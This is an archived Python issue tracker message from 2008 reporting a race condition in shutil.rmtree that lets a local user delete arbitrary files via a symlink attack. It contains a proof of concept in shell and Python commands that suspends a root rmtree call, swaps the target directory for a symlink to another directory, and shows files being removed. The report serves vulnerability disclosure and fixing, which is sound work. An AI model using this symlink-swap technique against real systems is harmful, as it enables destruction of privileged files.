homepage

This issue tracker has been migrated to GitHub , and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Author mrts
Recipients mrts
Date 2008年12月02日.15:41:59
SpamBayes Score 1.2430694e-07
Marked as misclassified No
Message-id <1228232522.58.0.0992151848245.issue4489@psf.upfronthosting.co.za>
In-reply-to
Content
Race condition in the rmtree function in the shutils module allows local
users to delete arbitrary files and directories via a symlink attack.
See also http://bugs.debian.org/286922
Attack:
---
# emulate removing /etc
$ sudo cp -a /etc /root/etc/
$ sudo python2.6
 >>> for i in xrange(0, 50000):
... with open("/root/etc/" + str(i), "w") as f:
... f.write("0")
...
$ ls /root/etc > orig_list.txt
$ mkdir /tmp/attack
$ cp -a /root/etc/* /tmp/attack
$ sudo python2.6
 >>> from shutil import rmtree
 >>> rmtree('/tmp/attack')
 >>> # press ctrl-z to suspend execution
^Z
[1]+ Stopped sudo python2.6
$ mv /tmp/attack /tmp/dummy; ln -s /root/etc /tmp/attack
$ fg
sudo python2.6
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "/usr/local/lib/python2.6/shutil.py", line 225, in rmtree
 onerror(os.rmdir, path, sys.exc_info())
 File "/usr/local/lib/python2.6/shutil.py", line 223, in rmtree
 os.rmdir(path)
OSError: [Errno 20] Not a directory: '/tmp/attack'
$ ls /root/etc > new_list.txt
$ diff -q orig_list.txt new_list.txt
Files orig_list.txt and new_list.txt differ
---
If the attack wasn't successful, /root/etc would not be modified and
orig_list.txt and new_list.txt would be identical.
History
Date User Action Args
2008年12月02日 15:42:03mrtssetrecipients: + mrts
2008年12月02日 15:42:02mrtssetmessageid: <1228232522.58.0.0992151848245.issue4489@psf.upfronthosting.co.za>
2008年12月02日 15:42:01mrtslinkissue4489 messages
2008年12月02日 15:41:59mrtscreate

AltStyle によって変換されたページ (->オリジナル) /